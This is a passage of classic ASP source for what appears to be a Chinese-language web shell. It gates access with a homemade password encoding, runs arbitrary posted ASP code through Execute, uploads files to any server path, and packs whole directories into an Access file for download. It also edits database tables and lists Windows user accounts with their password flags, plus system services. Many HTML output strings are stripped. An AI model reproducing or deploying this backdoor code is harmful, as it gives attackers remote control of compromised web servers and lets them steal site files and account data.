If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))
CreateConn()
strPrimaryKey = GetPrimaryKey(strTable)
Set rs = Server.CreateObject("Adodb.RecordSet")
If strExtra <> "" And IsNumeric(strValue) = True Then
sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
sql = , sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
Else
sql = sql & strJoinTag & strColumn & " like ’" & Replace(strValue, "’", "’’") & "’"
End If
intFindM = InStr(LCase(sql), "from")
intFindI = InStr(LCase(sql), " where")
intFindL = InStr(intFindM, LCase(sql), ",", 1)
If intFindL > 0 Then
If (intFindL > intFindM) And (intFindL < intFindI) Then
multiTables = True
End If
End If
If theAct = "dbdownfile" Then
aParam = Split(strParam, "!")
strValue = Replace(aParam(1) & "!" & aParam(2), "’", "’’")
sql = Replace(sql, strValue, Replace(aParam(1), "’", "’’"))
Set rs = conn.Execute(sql)
DBDownTheFile(rs(aParam(2)))
Set rs = Nothing
Response.End()
End If
If theAct <> "edit" Then
rs.Open sql, conn, 1, 3
ChkErr(Err)
If rs.Eof Then
O ""
Response.End()
End If
If theAct = "new" Then rs.AddNew
If theAct = "del" Then
rs.Delete
rs.Update
AlertThenClose("删除成功!")
Response.End
Else
If theAct <> "pre" And theAct <> "next" Then
For Each x In rs.Fields
If strPrimaryKey <> x.Name Then
rs(x.Name) = Request.Form(x.Name & "_Column")
End If
Next
rs.Update
End If
strValue = rs(strColumn)
End If
If theAct = "new" Then
sql = "Select * From [" & strTable & "] Where " & strColumn & " like ’" & Replace(strValue, "’", "’’") & "’"
End If
rs.Close
End If
rs.Open sql, conn, 1, 1
O "
"
O "
"
O "
"
O "
"
O "
"
O "
8 SQL数据修改
"
O "
"
O ""
O ""
O ""
O ""
O ""
O ""
For Each x In rs.Fields
O "
"
O "
" & HtmlEncode(x.Name) & " (" & GetDataType(x.Type) & ")"
If x.Type = 204 Or x.Type = 205 Then O ""
O "
"
O "
"
O "
"
Next
O "
"
O "
"
If multiTables = False Then
If strPrimaryKey = "" Then
O ""
Else
O ""
O ""
O ""
End If
Else
O ""
End If
O ""
If IsNumeric(strValue) = True Then
O ""
O ""
End If
O "
"
O "
"
O "
"
rs.Close
Set rs = Nothing
DestoryConn()
End Sub
Sub CreateConn()
Dim connStr, mdbInfo, userName, passWord, strPath
If isDebugMode = False Then On Error Resume Next
Set conn = Server.CreateObject("Adodb.Connection")
If LCase(Left(thePath, 4)) = "sql:" Then
connStr = Mid(thePath, 5)
isSqlServer = True
Else
mdbInfo = Split(thePath, ";")
strPath = mdbInfo(0)
strPath = strPath
ChkErr(Err)
If UBound(mdbInfo) >= 2 Then
userName = mdbInfo(1)
passWord = mdbInfo(2)
End If
connStr = Replace(accessStr, "{$dbSource}", strPath)
connStr = Replace(connStr, "{$userId}", userName)
connStr = Replace(connStr, "{$passWord}", passWord)
end if
conn.Open connStr
ChkErr(Err)
End Sub
Sub DestoryConn()
conn.Close
Set conn = Nothing
End Sub
Function GetDataType(flag)
Dim str
Select Case flag
Case 0 : str = "EMPTY"
Case 2 : str = "SMALLINT"
Case 3 : str = "INTEGER"
Case 4 : str = "SINGLE"
Case 5 : str = "DOUBLE"
Case 6 : str = "CURRENCY"
Case 7 : str = "DATE"
Case 8 : str = "BSTR"
Case 9 : str = "IDISPATCH"
Case 10 : str = "ERROR"
Case 11 : str = "BIT"
Case 12 : str = "VARIANT"
Case 13 : str = "IUNKNOWN"
Case 14 : str = "DECIMAL"
Case 16 : str = "TINYINT"
Case 17 : str = "UNSIGNEDTINYINT"
Case 18 : str = "UNSIGNEDSMALLINT"
Case 19 : str = "UNSIGNEDINT"
Case 20 : str = "BIGINT"
Case 21 : str = "UNSIGNEDBIGINT"
Case 72 : str = "GUID"
Case 128 : str = "BINARY"
Case 129 : str = "CHAR"
Case 130 : str = "WCHAR"
Case 131 : str = "NUMERIC"
Case 132 : str = "USERDEFINED"
Case 133 : str = "DBDATE"
Case 134 : str = "DBTIME"
Case 135 : str = "DBTIMESTAMP"
Case 136 : str = "CHAPTER"
Case 200 : str = "VARCHAR"
Case 201 : str = "LONGVARCHAR"
Case 202 : str = "VARWCHAR"
Case 203 : str = "LONGVARWCHAR"
Case 204 : str = "VARBINARY"
Case 205 : str = "LONGVARBINARY"
Case Else : str = flag
End Select
GetDataType = str
End Function
Function GetPrimaryKey(strTable)
Dim rsPrimary
If isDebugMode = False Then On Error Resume Next
Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
Set rsPrimary = Nothing
End Function
Sub PagePack()
ShowTitle("文件夹打包/解开器")
Server.ScriptTimeOut = 5000
If theAct = "PackIt" Or theAct = "PackOne" Then
PackIt()
AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\n下载下来后可以使用unpack.vbs进行解开.")
Response.End()
End If
If theAct = "UnPack" Then
UnPack()
AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.")
Response.End()
End If
PackTable()
End Sub
Sub PackTable()
O ""
O Replace(sHeader, "{$s}", "文件夹打包/解开器(需FSO支持)")
O ""
O ""
O sFooter
O " "
O Replace(sHeader, "{$s}", "文件夹打包器(需Shell.Application支持)")
O ""
O sFooter
O " "
O Replace(sHeader, "{$s}", "文件夹打包器(需WScript.Shell支持)")
O ""
O sFooter
End Sub
Sub PackIt()
Dim rs, db, conn, stream, connStr, objX, sParam, strPath, strPathB, isFolder, adoCatalog
strPath = thePath
sParam = GetPost("Param")
db = strPath & "\" & sPacketName
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db
If oFso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
If oFso.FileExists(db) = False Then
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, P Text, fileContent Image)")
Else
conn.Open connStr
End If
stream.Open
stream.Type = 1
rs.Open "[FileData]", conn, 3, 3
If theAct = "PackIt" Then
If sParam = "FSO" Then Call FsoTreeForMdb(strPath, rs, stream)
If sParam = "APP" Then Call AppTreeForMdb(strPath, rs, stream)
Else
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
strPathB = strPath & objX
isFolder = oFso.FolderExists(strPathB)
If isFolder = True Then
Execute("Call " & sParam & "TreeForMdb(strPathB, rs, stream)")
Else
If isDebugMode = False Then On Error Resume Next
If InStr(sysFileList, "$" & objX & "$") <= 0 Then
rs.AddNew
rs("P") = Mid(strPathB, 4)
stream.LoadFromFile(strPathB)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Sub UnPack()
Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
If isDebugMode = False Then On Error Resume Next
strPath = thePath
str = oFso.GetParentFolderName(strPath) & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath
conn.Open connStr
ChkErr(Err)
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("P"), InStrRev(rs("P"), "\"))
If oFso.FolderExists(str & theFolder) = False Then
CreateFolder(str & theFolder)
End If
stream.SetEOS()
If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
stream.SaveToFile str & rs("P"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub FsoTreeForMdb(strPath, rs, stream)
If isDebugMode = False Then On Error Resume Next
Dim item, theFolder, folders, files
Set theFolder = oFso.GetFolder(strPath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
Call FsoTreeForMdb(item.Path, rs, stream)
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("P") = Mid(item.Path, 4)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Sub
Sub AppTreeForMdb(sPath, rs, stream)
If isDebugMode = False Then On Error Resume Next
Dim oFolder, oMember, sFileName
If Len(sPath) > 3 And Right(sPath, 1) = "\" Then sPath = Left(sPath, Len(sPath) - 1)
Set oFolder = oShl.NameSpace(sPath)
For Each oMember In oFolder.Items
If oMember.IsFolder = True Then
Call AppTreeForMdb(oMember.Path, rs, stream)
Else
sFileName = Mid(oMember.Path, InStrRev(oMember.Path, "\") + 1)
If InStr(sysFileList, "$" & sFileName & "$") <= 0 Then
rs.AddNew
rs("P") = Mid(oMember.Path, 4)
stream.LoadFromFile(oMember.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
Set oFolder = Nothing
Set oMember = Nothing
End Sub
Sub PageUpload()
ShowTitle("批量文件上传")
theAct = Request.QueryString("theAct")
If theAct = "upload" Then
StreamUpload()
O ""
End If
ShowUpload()
End Sub
Sub ShowUpload()
If thePath = "" Then thePath = rootPath
O ""
O ""
End Sub
Sub StreamUpload()
Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
If isDebugMode = False Then On Error Resume Next
Server.ScriptTimeOut = 99999
newLine = ChrB(13) & ChrB(10)
overWrite = Request.QueryString("overWrite")
overWrite = IIf(overWrite = "true", "2", "1")
Set sA = Server.CreateObject("Adodb.Stream")
Set sB = Server.CreateObject("Adodb.Stream")
sA.Type = 1
sA.Mode = 3
sA.Open
sA.Write Request.BinaryRead(Request.TotalBytes)
sA.Position = 0
theForm = sA.Read()
’sA.SaveToFile "c:\001.txt", 2 ’’保存到临时文件进行查看
itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
totalLen = LenB(theForm)
itemDivLen = LenB(itemDiv)
intStart = itemDivLen + 2
intUpLen = 0 ’上面数据的长度
Do
intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ’’equals - 2(回车) - 1(InStr) - 2(回车)
intDataLen = intDataLen - intUpLen
intEnd = intStart + intDataLen
intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intStart
sA.CopyTo sB, intInfoEnd - intStart ’’保存元素信息部分
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
strFileName = ""
intFindStart = InStr(strInfo, "name=""") + 6
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
If InStr(strInfo, "filename=""") > 0 Then ’’>0则为文件,开始接收文件
intFindStart = InStr(strInfo, "filename=""") + 10
intFindEnd = InStr(intFindStart, strInfo, """", 1)
strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
strFileName = Mid(strFileName, InStrRev(strFileName, "\") + 1)
End If
sB.Close
sB.Type = 1
sB.Mode = 3
sB.Open
sA.Position = intInfoEnd + 4
sA.CopyTo sB, intEnd - intInfoEnd - 4
If strFileName <> "" Then
sB.SaveToFile strPath & strFileName, overWrite
ChkErr(Err)
Else
If strName = "thePath" Then
sB.Position = 0
sB.Type = 2
sB.CharSet = "GB2312"
strInfo = sB.ReadText()
thePath = strInfo
strPath = strInfo & "\"
End If
End If
sB.Close
intUpLen = intStart + intDataLen + 2
intStart = intUpLen + itemDivLen + 2
Loop Until (intStart + 2) = totalLen
sA.Close
Set sA = Nothing
Set sB = Nothing
End Sub
Sub PageLogin()
Dim passWord
passWord = Encode(GetPost("password"))
If theAct = "Login" Then
If userPassword = passWord Then
Session(m & "userPassword") = userPassword
ShowTitle("登录成功!")
PageReadMe()
Exit Sub
End If
End If
If PageName = "PageOut" Then
Session.Contents.Remove(m & "userPassword")
RedirectTo(url)
End If
If Session(m & "userPassword") = userPassword Then
PageReadMe()
Exit Sub
End If
ShowTitle("管理登录")
O ""
O "
"
O ""
O ""
O "
"
O ""
End Sub
Sub PageReadMe()
ShowTitle("登录成功")
TopMenu()
End Sub
Function Encode(strPass)
Dim i, theStr, strTmp
For i = 1 To Len(strPass)
strTmp = Asc(Mid(strPass, i, 1))
theStr = theStr & Abs(strTmp)
Next
strPass = theStr
theStr = ""
Do While Len(strPass) > 16
strPass = JoinCutStr(strPass)
Loop
For i = 1 To Len(strPass)
strTmp = CInt(Mid(strPass, i, 1))
strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp)
theStr = theStr & strTmp
Next
Encode = theStr
End Function
Function JoinCutStr(str)
Dim i, theStr
For i = 1 To Len(str)
If Len(str) - i = 0 Then Exit For
theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2))
i = i + 1
Next
JoinCutStr = theStr
End Function
Sub PageExecute()
Dim strAspCode
strAspCode = GetPost("AspCode")
ShowTitle("自定义ASP语句执行")
If theAct = "Exe" Then
O "
"
O "
"
O "
"
O "
"
O "
"
O "
8 执行结果
"
O "
"
O "
"
Execute(strAspCode)
O "
"
End If
ShowExeTable(strAspCode)
End Sub
Sub ShowExeTable(strAspCode)
O ""
End Sub
Sub PageUserList()
Dim oUser, oGroup, oComputer
ShowTitle("系统用户及用户组信息查看")
Set oComputer = GetObject("WinNT://.")
oComputer.Filter = Array("User")
O Replace(sHeader, "{$s}", "系统用户信息查看")
For Each oUser in oComputer
O "
用户名:
" & oUser.Name & "
"
GetUserInfo(oUser.Name)
O "
"
Next
O "
Powered By Marcos 2005.11
"
O " "
O Replace(sHeader, "{$s}", "系统用户组查看")
O "
组名
组描述
"
oComputer.Filter = Array("Group")
For Each oGroup in oComputer
O "
" & oGroup.Name & "
"
O "
" & oGroup.Description & "
"
Next
O sFooter
End Sub
Sub GetUserInfo(strUser)
Dim User, Flags
If isDebugMode = False Then
On Error Resume Next
End If
Set User = GetObject("WinNT://./" & strUser & ",user")
O "
描述:
" & User.Description & "
"
O "
所属用户组:
" & GetItsGroup(strUser) & "
"
O "
密码已过期:
" & cbool(User.Get("PasswordExpired")) & "
"
Flags = User.Get("UserFlags")
O "
密码永不过期:
" & cbool(Flags And &H10000) & "
"
O "
用户不能更改密码:
" & cbool(Flags And &H00040) & "
"
O "
非全局帐号:
" & cbool(Flags And &H100) & "
"
O "
密码的最小长度:
" & User.PasswordMinimumLength & "
"
O "
是否要求有密码:
" & User.PasswordRequired & "
"
O "
帐号停用中:
" & User.AccountDisabled & "
"
O "
帐号锁定中:
" & User.IsAccountLocked & "
"
O "
用户信息文件:
" & User.Profile & "
"
O "
用户登录脚本:
" & User.LoginScript & "
"
O "
用户Home目录:
" & User.HomeDirectory & "
"
O "
用户Home目录根:
" & User.Get("HomeDirDrive") & "
"
O "
帐号过期时间:
" & User.AccountExpirationDate & "
"
O "
帐号失败登录次数:
" & User.BadLoginCount & "
"
O "
帐号最后登录时间:
" & User.LastLogin & "
"
O "
帐号最后注销时间:
" & User.LastLogoff & "
"
For Each RegTime In User.LoginHours
If RegTime < 255 Then Restrict = True
Next
O "
帐号已用时间:
" & Restrict & "
"
Err.Clear
End Sub
Function GetItsGroup(sUser)
Dim oUser, oGroup
Set oUser = GetObject("WinNT://./" & sUser & ",user")
For Each oGroup In oUser.Groups
GetItsGroup = GetItsGroup & oGroup.Name & " "
Next
End Function
Sub PageServiceList()
Dim oService, oComputer
If isDebugMode = False Then On Error Resume Next
ShowTitle("系统服务信息查看")
Set oComputer = GetObject("WinNT://.")
oComputer.Filter = Array("Service")
O Replace(sHeader, "{$s}", "系统服务信息查看")
For Each oService In oComputer
O "
服务名称:
" & oService.Name & "
"
O "
显示名称:
" & oService.DisplayName & "
"
O "
启动类型:
" & oGetStartType(oService.StartType) & "
"
O "
运行状态:
" & oShl.IsServiceRunning(oService.Name) & "
"
O "
登录身份:
" & oService.ServiceAccountName & "
"
’O "当前状态: " & oService.Status & " "
’O "服务类型: " & oService.ServiceType & " "
O "
